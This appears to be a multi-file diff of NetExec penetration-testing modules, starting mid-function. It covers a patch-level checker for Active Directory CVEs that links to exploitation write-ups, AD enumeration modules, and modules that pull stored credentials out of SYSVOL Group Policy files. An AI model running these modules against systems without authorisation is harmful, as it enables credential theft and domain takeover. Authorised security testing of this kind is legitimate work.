context.log.fail(f"DCERPC error: {e}")
return
except SessionError as e:
if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
context.log.info(f"RemoteRegistry is probably deactivated: {e}")
else:
context.log.fail(f"Unexpected error: {e}")
return
except (BrokenPipeError, ConnectionResetError, NetBIOSError, OSError) as e:
context.log.fail(f"DCERPC transport error: {e.__class__.__name__}: {e}")
return
# Check each CVE
for cve in self.CVE_PATCHES:
if self.cve == "all" or self.cve.lower() == cve.lower():
if self.CVE_PATCHES[cve].get("dc_only") and not connection.is_host_dc():
context.log.info(f"Skipping {self.CVE_PATCHES[cve]['alias']} - only applicable to Domain Controllers")
continue
if self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr, self.CVE_PATCHES[cve]["patches"]):
if connection.conn.isSigningRequired() and "signing_message" in self.CVE_PATCHES[cve]: # Special conditional message for some CVEs
context.log.highlight(f"{cve.upper()} - {self.CVE_PATCHES[cve]['alias']} - {self.CVE_PATCHES[cve]['signing_message']}")
else:
context.log.highlight(f"{cve.upper()} - {self.CVE_PATCHES[cve]['alias']} - {self.CVE_PATCHES[cve]['message']}")
if self.exploitation_details:
context.log.highlight(f"Exploitation details: {self.CVE_PATCHES[cve]['exploitation']}")
else:
context.log.info(f"Not vulnerable to {self.CVE_PATCHES[cve]['alias']} (UBR {ubr} >= {self.CVE_PATCHES[cve]['patches'].get((connection.server_os_major, connection.server_os_minor, connection.server_os_build), 'unknown')})")
# patches: key = (major, minor, build), value = minimum patched UBR
CVE_PATCHES = {
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073
"CVE-2025-33073": {
"alias": "NTLM reflection",
"patches": {
(10, 0, 10240): 21034, # Windows 10 1507
(10, 0, 14393): 8148, # Windows Server 2016 / Win10 1607
(10, 0, 17763): 7434, # Windows Server 2019 / Win10 1809
(10, 0, 19044): 5965, # Windows 10 21H2
(10, 0, 20348): 3807, # Windows Server 2022
(10, 0, 22621): 5472, # Windows 11 22H2
(10, 0, 25398): 1665, # Windows Server 2022 23H2
(10, 0, 26100): 4270, # Windows Server 2025 / Win11 24H2
},
"message": "Relay possible from SMB to any protocol",
"signing_message": "can relay SMB to other protocols except SMB",
"exploitation": "https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-58726
"CVE-2025-58726": {
"alias": "Ghost SPN",
"patches": {
(6, 0, 6003): 23571, # Windows Server 2008 SP2
(6, 1, 7601): 27974, # Windows Server 2008 R2 SP1
(6, 2, 9200): 25722, # Windows Server 2012
(6, 3, 9600): 22824, # Windows Server 2012 R2
(10, 0, 10240): 21161, # Windows 10 1507
(10, 0, 14393): 8519, # Windows Server 2016 / Win10 1607
(10, 0, 17763): 7919, # Windows Server 2019 / Win10 1809
(10, 0, 19044): 6456, # Windows 10 21H2
(10, 0, 20348): 4294, # Windows Server 2022
(10, 0, 22621): 6060, # Windows 11 22H2
(10, 0, 25398): 1913, # Windows Server 2022 23H2
(10, 0, 26100): 6899, # Windows Server 2025 / Win11 24H2
(10, 0, 26200): 6899, # Windows 11 25H2
},
"message": "Relay possible from SMB using Ghost SPN for Kerberos reflection",
"signing_message": "Relay possible from SMB using Ghost SPN (non HOST/CIFS) for Kerberos reflection to other protocols except SMB",
"exploitation": "https://www.semperis.com/blog/exploiting-ghost-spns-and-kerberos-reflection-for-smb-server-privilege-elevation/",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54918
# https://decoder.cloud/2025/11/24/reflecting-your-authentication-when-windows-ends-up-talking-to-itself/
"CVE-2025-54918": {
"alias": "NTLM MIC Bypass",
"dc_only": True,
"patches": {
(6, 0, 6003): 23529, # Windows Server 2008 SP2
(6, 1, 7601): 27929, # Windows Server 2008 R2 SP1
(6, 2, 9200): 25675, # Windows Server 2012
(6, 3, 9600): 22774, # Windows Server 2012 R2
(10, 0, 10240): 21128, # Windows 10 1507
(10, 0, 14393): 8422, # Windows Server 2016
(10, 0, 17763): 7792, # Windows Server 2019 / Win10 1809
(10, 0, 19044): 6332, # Windows 10 21H2
(10, 0, 20348): 4171, # Windows Server 2022
(10, 0, 22621): 5909, # Windows 11 22H2
(10, 0, 22631): 5909, # Windows 11 23H2
(10, 0, 26100): 6508, # Windows Server 2025 / Win11 24H2
},
"message": "Note that without CVE-2025-33073 only Windows Server 2025 is exploitable",
"exploitation": "https://yousofnahya.medium.com/hands-on-exploitation-of-cve-2025-54918-cf376ebb40e1",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53779
"CVE-2025-53779": {
"alias": "BadSuccessor",
"dc_only": True,
"patches": {
(10, 0, 26100): 4851, # Windows Server 2025 / Win11 24H2
},
"message": "Escalation to Domain Admin possible via dMSA Kerberos abuse",
"exploitation": "https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49019
"CVE-2024-49019": {
"alias": "ESC15 / EKUwu",
"patches": {
(6, 0, 6003): 22966, # Windows Server 2008 SP2
(6, 1, 7601): 27415, # Windows Server 2008 R2 SP1
(6, 2, 9200): 25165, # Windows Server 2012
(6, 3, 9600): 22267, # Windows Server 2012 R2
(10, 0, 14393): 7515, # Windows Server 2016
(10, 0, 17763): 6532, # Windows Server 2019 / Win10 1809
(10, 0, 20348): 2849, # Windows Server 2022
(10, 0, 25398): 1251, # Windows Server 2022 23H2
(10, 0, 26100): 2314, # Windows Server 2025 / Win11 24H2
},
"message": "If host is an AD CS / CA server, it may be vulnerable to ESC15",
"exploitation": "https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121
"CVE-2026-54121": {
"alias": "Certighost",
"patches": {
(6, 2, 9200): 26226, # Windows Server 2012
(6, 3, 9600): 23291, # Windows Server 2012 R2
(10, 0, 14393): 9339, # Windows Server 2016
(10, 0, 17763): 9020, # Windows Server 2019
(10, 0, 20348): 5386, # Windows Server 2022
(10, 0, 26100): 33158, # Windows Server 2025
},
"message": "If host is an AD CS / CA server, it may be vulnerable to Certighost",
"exploitation": "https://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27912
"CVE-2026-27912": {
"alias": "ResetNightmare",
"dc_only": True,
"patches": {
(6, 2, 9200): 26026, # Windows Server 2012
(6, 3, 9600): 23132, # Windows Server 2012 R2
(10, 0, 14393): 9060, # Windows Server 2016
(10, 0, 17763): 8644, # Windows Server 2019
(10, 0, 20348): 5020, # Windows Server 2022
(10, 0, 25398): 2274, # Windows Server 2022 23H2
(10, 0, 26100): 32690, # Windows Server 2025
},
"message": "Password reset of any account possible via Kerberos change password abuse",
"exploitation": "https://www.semperis.com/blog/identity-crisis-novel-vulnerabilities-leading-to-kerberos-downgrade-dos-and-full-domain-takeover/",
},
}
+3 -3
View File
@@ -29,7 +29,7 @@ class NXCModule:
def on_admin_login(self, context, connection):
if not self.domains:
domains = []
output = connection.wmi_query("Select Name FROM MicrosoftDNS_Zone", "root\\microsoftdns")
output = connection.wmi("Select Name FROM MicrosoftDNS_Zone", "root\\microsoftdns")
domains = [result["Name"]["value"] for result in output] if output else []
context.log.success(f"Domains retrieved: {domains}")
else:
@@ -37,8 +37,8 @@ class NXCModule:
data = ""
for domain in domains:
output = connection.wmi_query(
f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = '{domain}'",
output = connection.wmi(
f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = {domain}",
"root\\microsoftdns",
)
+1 -1
View File
@@ -32,7 +32,7 @@ class NXCModule:
if connection.admin_privs:
res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
srvs = [srv for srv in res if srv["Local Login"] is not None]
srvs = [srv for srv in res if srv["Local Login"] != "NULL"]
if not srvs:
self.context.log.fail("No linked servers found.")
return
+39 -13
View File
@@ -1,10 +1,9 @@
import re
from impacket.dcerpc.v5 import even6
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dcerpc.v5 import transport, even6
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dcerpc.v5.epm import hept_map
from nxc.helpers.even6_parser import ResultSet
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -111,7 +110,18 @@ class NXCModule:
else:
msevenclass = MSEven6Trigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
msevenclass.connect(connection, target)
msevenclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=target,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
pipe="eventlog"
)
for record in msevenclass.query("\x00", '<QueryList><Query Id="0"><Select Path="Security">*[System/EventID=4688]</Select></Query><Query Id="0"><Select Path="Microsoft-Windows-Sysmon/Operational">*[System/EventID=1]</Select></Query></QueryList>\x00', self.limit):
if record is None:
continue
@@ -132,21 +142,37 @@ class MSEven6Trigger:
self.context = context
self.dce = None
def connect(self, connection, target):
binding = hept_map(target, even6.MSRPC_UUID_EVEN6, protocol="ncacn_ip_tcp")
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
rpctransport = transport.DCERPCTransportFactory(hept_map(target, even6.MSRPC_UUID_EVEN6, protocol="ncacn_ip_tcp"))
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
aesKey=aesKey,
)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
rpctransport.setRemoteHost(target)
self.dce = rpctransport.get_dce_rpc()
if doKerberos:
self.dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
self.dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
self.context.log.debug(f"Connecting to {target}...")
try:
self.dce = NXCRPCConnection(connection).connect(
None,
even6.MSRPC_UUID_EVEN6,
target_ip=target,
string_binding=binding,
auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
)
self.dce.connect()
except Exception as e:
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
return
try:
self.dce.bind(even6.MSRPC_UUID_EVEN6)
self.context.log.debug("[+] Successfully bound!")
except Exception as e:
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
return
self.context.log.debug("[+] Successfully bound!")
def query(self, path, query, limit):
req = even6.EvtRpcRegisterLogQuery()
+6 -3
View File
@@ -1,3 +1,4 @@
from nxc.helpers.modules import add_loot_data
from nxc.helpers.misc import CATEGORY
@@ -8,7 +9,7 @@ class NXCModule:
Module by @yomama
"""
name = "example module"
name = "example_module" # Make sure this is unique and one word (no spaces)
description = "I do something"
supported_protocols = [] # Example: ['smb', 'mssql']
category = CATEGORY.ENUMERATION # Must be one of "Enumeration", "Privilege Escalation" or "Credential Dumping". Use what fits best.
@@ -22,7 +23,6 @@ class NXCModule:
Module options get parsed here. Additionally, put the modules usage here as well
"""
# Put "No options available" in the docstring if there are no options for the module
# Return False to abort the run if options are invalid (log with context.log.fail first).
def on_login(self, context, connection):
"""Concurrent.
@@ -46,8 +46,11 @@ class NXCModule:
except Exception as e:
context.log.exception(f"Exception occurred: {e}") # This will display an exception traceback screen after an exception was raised and should only be used for critical errors
# Use this function to add loot data you want to save to $NXC_PATH/loot/$MODULE_NAME/$FILENAME
add_loot_data(self.name, "custom_loot_file.txt", "Data can be anything you want, passwords, hashes, or anything")
def on_admin_login(self, context, connection):
"""Concurrent.
Required if on_login is not present
This gets called on each authenticated connection with Administrative privileges
This gets called on each authenticated connection with Administrative privileges
"""
+1 -1
View File
@@ -1,6 +1,6 @@
from dploot.lib.target import Target
from nxc.helpers.misc import CATEGORY
from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
class NXCModule:
+1 -1
View File
@@ -63,7 +63,7 @@ class NXCModule:
if len(answers) > 0:
context.log.success("Found following users: ")
for answer in answers:
context.log.highlight(f"User: {answer[0]:<20} description: {answer[1]}")
context.log.highlight(f"User: {answer[0]} description: {answer[1]}")
def filter_answer(self, context, answers):
# No option to filter
+18 -6
View File
@@ -2,17 +2,29 @@
# Credit to https://github.com/dirkjanm/adidnsdump @_dirkjan
# module by @mpgn_x64
import re
import codecs
import socket
from datetime import datetime
from struct import unpack
from impacket.structure import Structure
from ldap3 import LEVEL
from os.path import expanduser
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
from nxc.parsers.ldap_results import parse_result_attributes
def get_dns_zones(connection, root, debug=False):
connection.search(root, "(objectClass=dnsZone)", search_scope=LEVEL, attributes=["dc"])
zones = []
for entry in connection.response:
if entry["type"] != "searchResEntry":
continue
zones.append(entry["attributes"]["dc"])
return zones
def ldap2domain(baseDN):
return re.sub(r",DC=", ".", baseDN[baseDN.lower().find("dc="):], flags=re.IGNORECASE)[3:]
@@ -71,12 +83,12 @@ class NXCModule:
if module_options["ALL"].lower() == "true" or module_options["ALL"] == "1":
self.showall = True
else:
context.log.display("Could not parse ALL option.")
print("Could not parse ALL option.")
if module_options and "ONLY_HOSTS" in module_options:
if module_options["ONLY_HOSTS"].lower() == "true" or module_options["ONLY_HOSTS"] == "1":
self.showhosts = True
else:
context.log.display("Could not parse ONLY_HOSTS option.")
print("Could not parse ONLY_HOSTS option.")
def on_login(self, context, connection):
zone = ldap2domain(connection.baseDN)
@@ -96,7 +108,7 @@ class NXCModule:
recordname = site["name"]
if "dnsRecord" in site:
if isinstance(site["dnsRecord"], list):
if isinstance(site["dnsRecord"], list): # noqa: SIM108
records = [bytes(r) for r in site["dnsRecord"]]
else:
records = [bytes(site["dnsRecord"])]
@@ -142,12 +154,12 @@ class NXCModule:
context.log.highlight(f"Found {len(outdata)} records")
path = expanduser(f"{NXC_PATH}/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
with open(path, "w") as outfile:
with codecs.open(path, "w", "utf-8") as outfile:
for row in outdata:
if self.showhosts:
outfile.write(f"{row['name'] + '.' + zone}\n")
outfile.write(f"{row['name'] + '.' + connection.domain}\n")
elif self.showall:
outfile.write(f"{row['name'] + '.' + zone} \t {row['value']}\n")
outfile.write(f"{row['name'] + '.' + connection.domain} \t {row['value']}\n")
else:
outfile.write(f"{row['value']}\n")
context.log.success(f"Dumped {len(outdata)} records to {path}")
-66
View File
@@ -1,66 +0,0 @@
import json
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
"""
Get the scriptPath attribute of users
Module by @wyndoo
"""
name = "get-scriptpath"
description = "Get the scriptPath attribute of all users."
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""
FILTER Apply the FILTER (grep-like) (default: '')
OUTPUTFILE Path to a file to save the results (default: None)
"""
self.filter = ""
self.outputfile = None
if "FILTER" in module_options:
self.filter = module_options["FILTER"]
if "OUTPUTFILE" in module_options:
self.outputfile = module_options["OUTPUTFILE"]
def on_login(self, context, connection):
# Building the search filter
resp = connection.search(
searchFilter="(scriptPath=*)",
attributes=["sAMAccountName", "scriptPath"]
)
context.log.debug(f"Total of records returned {len(resp)}")
answers = parse_result_attributes(resp)
context.log.debug(f"Filtering for scriptPath containing: {self.filter}")
filtered_answers = list(filter(lambda x: self.filter in x["scriptPath"], answers))
if filtered_answers:
context.log.success("Found the following attributes: ")
for answer in filtered_answers:
context.log.highlight(f"User: {answer['sAMAccountName']:<20} ScriptPath: {answer['scriptPath']}")
# Save the results to a file
if self.outputfile:
self.save_to_file(context, filtered_answers)
else:
context.log.fail("No results found after filtering.")
def save_to_file(self, context, answers):
"""Save the results to a JSON file."""
try:
# Format answers as a list of dictionaries for JSON output
json_data = [{"sAMAccountName": answer["sAMAccountName"], "scriptPath": answer["scriptPath"]} for answer in answers]
# Save the JSON data to the specified file
with open(self.outputfile, "w") as f:
json.dump(json_data, f, indent=4)
context.log.success(f"Results successfully saved to {self.outputfile}")
except Exception as e:
context.log.error(f"Failed to save results to file: {e}")
+2 -2
View File
@@ -41,6 +41,6 @@ class NXCModule:
resp_parsed = parse_result_attributes(resp)
context.log.success("Found following users: ")
for user in resp_parsed:
context.log.highlight(f"User: {user['sAMAccountName']} userPassword: {user['userPassword']}")
context.log.highlight(f"User: {user['sAMAccountName']} unixUserPassword: {user['userPassword']}")
else:
context.log.fail("No userPassword Found")
context.log.fail("No unixUserPassword Found")
+1 -1
View File
@@ -22,7 +22,7 @@ class NXCModule:
def on_admin_login(self, context, connection):
data = []
cards = connection.wmi_query("select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration")
cards = connection.wmi("select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration")
if cards:
for c in cards:
if c["IPAddress"].get("value"):
+272
View File
@@ -0,0 +1,272 @@
import os
import ntpath
import shutil
from impacket.dcerpc.v5.lsat import DCERPCSessionError
from impacket.dcerpc.v5 import transport, srvs
from impacket.dcerpc.v5.dtypes import OWNER_SECURITY_INFORMATION, GROUP_SECURITY_INFORMATION, DACL_SECURITY_INFORMATION
from impacket.ldap import ldaptypes
from nxc.config import process_secret
from nxc.protocols.smb.samrfunc import LSAQuery
from nxc.protocols.ldap.constants import ACCESS_MASK_TO_TEXT_LOOKUP
class NXCModule:
"""Module by @Marshall-Hallenbeck
Do things with Group Policy Objects (GPOs) in Active Directory
"""
name = "gpos"
description = "Do things with Group Policy Objects (GPOs) in Active Directory"
supported_protocols = ["smb"]
def __init__(self):
self.context = None
self.module_options = None
self.gpo_name = None
self.fuzzy_search = False
self.all_props = False
self.download = True
self.download_dest = "Retrieved_GPOs"
self.list_permissions = False
def options(self, context, module_options):
"""
NAME Name of the GPO (default retrieve all GPOs)
FUZZY Fuzzy search for name of GPOs (using wildcards)
ALL_PROPS Retrieve all properties of the GPO (default is name, guid, and sysfile path)
DOWNLOAD Download the GPOs to the local machine (default is True)
DEST Destination folder for downloaded GPOs (default is "Retrieved_GPOs")
LIST_PERMISSIONS List permissions for the GPOs (default is False)
"""
self.gpo_name = module_options.get("NAME")
self.fuzzy_search = module_options.get("FUZZY", "False").lower() == "true"
self.all_props = module_options.get("ALL_PROPS", "False").lower() == "true"
self.download = module_options.get("DOWNLOAD", "True").lower() == "true"
self.download_dest = module_options.get("DEST", "Retrieved_GPOs")
self.list_permissions = module_options.get("LIST_PERMISSIONS", "False").lower() == "true"
def on_login(self, context, connection):
context.log.display("Searching for GPOs via SMB in SYSVOL share")
# list the contents of SYSVOL to find the domain folder
policies = connection.conn.listPath("SYSVOL", f"{connection.domain}\\Policies\\*")
context.log.debug(f"Found policies path: {connection.domain}\\Policies")
context.log.debug(f"Found folders in policies path: {policies}")
gpos_found = []
for item in policies:
item_name = item.get_longname()
context.log.debug(f"Item: {item}, Item name: {item_name}")
# make sure it's a directory and not ./.. and check if it's a GUID folder (typical format: {XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX})
if item_name not in [".", ".."] and item.is_directory() and item_name.startswith("{") and item_name.endswith("}"):
gpo_guid = item_name
gpo_path = os.path.join(f"{connection.domain}", "Policies", f"{gpo_guid}")
gpos_found.append((gpo_guid, gpo_path))
if self.gpo_name:
# try to find the GPO's display name by checking for gpt.ini
display_name = self.get_gpo_display_name(context, connection, gpo_path)
# filter by display name if specified
if self.gpo_name:
match = self.gpo_name.lower() in display_name.lower() if self.fuzzy_search else self.gpo_name.lower() == display_name.lower()
if not match:
continue
context.log.success(f"GPO Found: '{display_name}'")
context.log.highlight(f"Display Name: {display_name}")
context.log.highlight(f"GUID: {gpo_guid}")
context.log.highlight(f"GPO Path: \\\\SYSVOL\\{gpo_path}")
else:
# if no GPO name filter, just show all
display_name = self.get_gpo_display_name(context, connection, gpo_path)
context.log.success(f"GPO Found: '{display_name}'")
context.log.highlight(f"Display Name: {display_name}")
context.log.highlight(f"GUID: {gpo_guid}")
context.log.highlight(f"GPO Path: \\\\SYSVOL\\{gpo_path}")
if self.list_permissions:
self.get_folder_security_info(context, connection, gpo_guid, gpo_path)
if self.download:
context.log.display(f"Downloading GPO {gpo_guid} from SYSVOL share")
self.download_gpo(context, connection, gpo_path, self.download_dest, gpo_guid)
context.log.success(f"GPOs Found: {len(gpos_found)}")
def get_gpo_display_name(self, context, connection, gpo_path):
"""Try to get the display name of a GPO by reading gpt.ini file directly into memory"""
try:
ini_path = f"{gpo_path}\\GPT.ini"
context.log.debug(f"GPT.ini path: {ini_path}")
ini_content = bytearray()
# read the file directly into memory through a callback
def callback(data):
ini_content.extend(data)
connection.conn.getFile("SYSVOL", ini_path, callback)
display_name = "Unknown"
ini_text = ini_content.decode("utf-8", errors="replace")
for line in ini_text.splitlines():
if line.lower().startswith("displayname="):
display_name = line.strip().split("=", 1)[1]
break
return display_name
except Exception as e:
context.log.debug(f"Could not read GPO display name: {e}")
# extract GUID from path as fallback name
return ntpath.basename(gpo_path)
def download_gpo(self, context, smb_conn, sysvol_path, dest_folder, guid):
"""Download a GPO from the SYSVOL share using the appropriate method"""
context.log.debug(f"Downloading GPO {guid} from {sysvol_path} to {dest_folder}")
# save the original share to reset it later, since we need to download from SYSVOL
original_share = smb_conn.args.share
try:
smb_conn.args.share = "SYSVOL"
smb_conn.download_folder(sysvol_path, dest_folder, recursive=True)
context.log.success(f"GPO {guid} downloaded to {dest_folder}")
except Exception as e:
context.log.fail(f"Error downloading GPO {guid}: {e}")
# clean up the directory if it was created and download failed
if os.path.exists(dest_folder):
try:
shutil.rmtree(dest_folder)
except Exception as cleanup_error:
context.log.debug(f"Error cleaning up directory: {cleanup_error}")
context.log.highlight("To manually download this GPO, use the following command:")
context.log.highlight(f"nxc smb {smb_conn.host} -u '{smb_conn.username}' -p '{process_secret(smb_conn.password)}' --share SYSVOL --get-folder '{sysvol_path}' '{dest_folder}' --recursive")
finally:
# reset the share to the original share
smb_conn.args.share = original_share
def parse_aces(self, context, sd):
"""Parse ACEs from security descriptor and display all permissions"""
if not sd["Dacl"]:
context.log.highlight(" No DACL found - no access restrictions")
return
ace_count = sd["Dacl"]["AceCount"]
context.log.highlight(f" DACL: {ace_count} ACEs (Access Control Entries)")
context.log.debug(f"DACL AceCount: {ace_count}")
context.log.debug(f"DACL Data: {sd['Dacl']}")
for i in range(ace_count):
try:
ace = sd["Dacl"]["Data"][i]
ace_type = ace["TypeName"]
# ACCESS_MASK is accessed from the ACE's Ace field
# based on ldaptypes structure: ace['Ace']['Mask']['Mask']
access_mask = int(ace["Ace"]["Mask"]["Mask"])
sid = ace["Ace"]["Sid"].formatCanonical()
context.log.debug(f"ACE {i} mask: 0x{access_mask:08x}")
# build permissions list using the lookup dictionary
permissions = [mask_name for mask_value, mask_name in ACCESS_MASK_TO_TEXT_LOOKUP.items() if access_mask & mask_value]
# if no specific permissions found, show the raw mask
perm_str = ", ".join(permissions) if permissions else f"0x{access_mask:08x}"
context.log.highlight(f" ACE {i + 1}: {ace_type}")
context.log.highlight(f" SID: {sid} - {ace['Ace']['SidName']}")
context.log.highlight(f" Permissions: {perm_str}")
except Exception as ace_error:
context.log.debug(f"Error parsing ACE {i}: {ace_error}")
context.log.debug(f"ACE object structure: {ace}")
context.log.debug(f"ACE keys: {list(ace.keys()) if hasattr(ace, 'keys') else 'No keys'}")
continue
def get_folder_security_info(self, context, connection, gpo_guid, gpo_path):
"""Get security information for a GPO folder and analyze permissions"""
rpc_transport = transport.SMBTransport(
connection.host,
connection.host,
filename=r"\srvsvc", # named pipe for SRVS service
smb_connection=connection.conn
)
rpc_transport.set_credentials(
connection.username,
connection.password,
connection.domain,
connection.lmhash,
connection.nthash,
connection.aesKey,
)
rpc_transport.set_kerberos(connection.kerberos, connection.kdcHost)
dce = rpc_transport.get_dce_rpc()
dce.connect()
dce.bind(srvs.MSRPC_UUID_SRVS)
context.log.debug("Connected to SRVS")
sec_info = (OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION)
# format paths correctly for Windows RPC (note null terminator!)
share_name = "SYSVOL\x00"
gpo_path_fixed = gpo_path.replace("/", "\\")
rpc_path = f"\\{gpo_path_fixed}\x00"
context.log.debug(f"Getting security info for GPO path: {rpc_path.rstrip(chr(0))}")
sec_info = srvs.hNetrpGetFileSecurity(dce, share_name, rpc_path, sec_info)
context.log.success(f"Retrieved security information ({len(sec_info)} bytes)")
try:
lsa_query = LSAQuery(
connection.username,
connection.password,
connection.domain,
connection.port,
connection.host,
connection.host,
connection.kdcHost,
connection.aesKey,
connection.kerberos,
logger=context.log,
)
except Exception as lsa_error:
context.log.debug(f"Error creating LSAQuery: {lsa_error}")
return
sec_desc = ldaptypes.SR_SECURITY_DESCRIPTOR(sec_info)
context.log.highlight(f"Security Descriptor for GPO {gpo_guid}:")
context.log.debug(f"Security information: {sec_desc}")
owner_sid = sec_desc["OwnerSid"].formatCanonical()
group_sid = sec_desc["GroupSid"].formatCanonical()
context.log.debug(f"Owner SID: {owner_sid}")
context.log.debug(f"Group SID: {group_sid}")
sec_desc["OwnerName"] = lsa_query.lookup_sids([owner_sid])[0]
sec_desc["GroupName"] = lsa_query.lookup_sids([group_sid])[0]
for i, ace in enumerate(sec_desc["Dacl"]["Data"]):
try:
sec_desc["Dacl"]["Data"][i]["Ace"]["SidName"] = lsa_query.lookup_sids([ace["Ace"]["Sid"].formatCanonical()])[0]
context.log.debug(f"{sec_desc['Dacl']['Data'][i]['Ace']['SidName']}")
except DCERPCSessionError as e:
sec_desc["Dacl"]["Data"][i]["Ace"]["SidName"] = "Unknown (potentially deleted user)"
context.log.debug(f"Error looking up SID: {e}")
continue
if sec_desc["OwnerSid"]:
context.log.highlight(f" Owner SID: {owner_sid} - {sec_desc['OwnerName']}")
if sec_desc["GroupSid"]:
context.log.highlight(f" Group SID: {group_sid} - {sec_desc['GroupName']}")
if sec_desc["Dacl"]:
self.parse_aces(context, sec_desc)
dce.disconnect()
+31 -26
View File
@@ -15,40 +15,45 @@ class NXCModule:
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""No options available."""
""" """
def on_login(self, context, connection):
context.log.display("Searching SYSVOL share for Registry.xml")
shares = connection.shares()
for share in shares:
if share["name"] == "SYSVOL" and "READ" in share["access"]:
context.log.success("Found SYSVOL share")
context.log.display("Searching for Registry.xml")
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
for path in paths:
context.log.display(f"Found {path}")
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
xml = ET.fromstring(buf.getvalue())
for path in paths:
context.log.display(f"Found {path}")
if xml.findall('.//Properties[@name="DefaultPassword"]'):
usernames = []
passwords = []
domains = []
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
xml = ET.fromstring(buf.getvalue())
xml_section = xml.findall(".//Properties")
if xml.findall('.//Properties[@name="DefaultPassword"]'):
usernames = []
passwords = []
domains = []
for section in xml_section:
attrs = section.attrib
xml_section = xml.findall(".//Properties")
if attrs["name"] == "DefaultPassword":
passwords.append(attrs["value"])
for section in xml_section:
attrs = section.attrib
if attrs["name"] == "DefaultUserName":
usernames.append(attrs["value"])
if attrs["name"] == "DefaultPassword":
passwords.append(attrs["value"])
if attrs["name"] == "DefaultDomainName":
domains.append(attrs["value"])
if attrs["name"] == "DefaultUserName":
usernames.append(attrs["value"])
if usernames or passwords:
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Usernames: {usernames}")
context.log.highlight(f"Domains: {domains}")
context.log.highlight(f"Passwords: {passwords}")
if attrs["name"] == "DefaultDomainName":
domains.append(attrs["value"])
if usernames or passwords:
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Usernames: {usernames}")
context.log.highlight(f"Domains: {domains}")
context.log.highlight(f"Passwords: {passwords}")
+62 -57
View File
@@ -21,77 +21,82 @@ class NXCModule:
"""No options available"""
def on_login(self, context, connection):
context.log.display("Searching SYSVOL share for potential XML files containing passwords")
shares = connection.shares()
for share in shares:
if share["name"].lower() == "sysvol" and "READ" in share["access"]:
sysvol = share["name"]
context.log.success("Found SYSVOL share")
context.log.display("Searching for potential XML files containing passwords")
paths = connection.spider(
"SYSVOL",
pattern=[
"Groups.xml",
"Services.xml",
"Scheduledtasks.xml",
"DataSources.xml",
"Printers.xml",
"Drives.xml",
],
)
paths = connection.spider(
sysvol,
pattern=[
"Groups.xml",
"Services.xml",
"Scheduledtasks.xml",
"DataSources.xml",
"Printers.xml",
"Drives.xml",
],
)
for path in paths:
context.log.display(f"Found {path}")
for path in paths:
context.log.display(f"Found {path}")
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
xml = ET.fromstring(buf.getvalue())
sections = []
buf = BytesIO()
connection.conn.getFile(sysvol, path, buf.write)
xml = ET.fromstring(buf.getvalue())
sections = []
if "Groups.xml" in path:
sections.append("./User/Properties")
if "Groups.xml" in path:
sections.append("./User/Properties")
elif "Services.xml" in path:
sections.append("./NTService/Properties")
elif "Services.xml" in path:
sections.append("./NTService/Properties")
elif "ScheduledTasks.xml" in path:
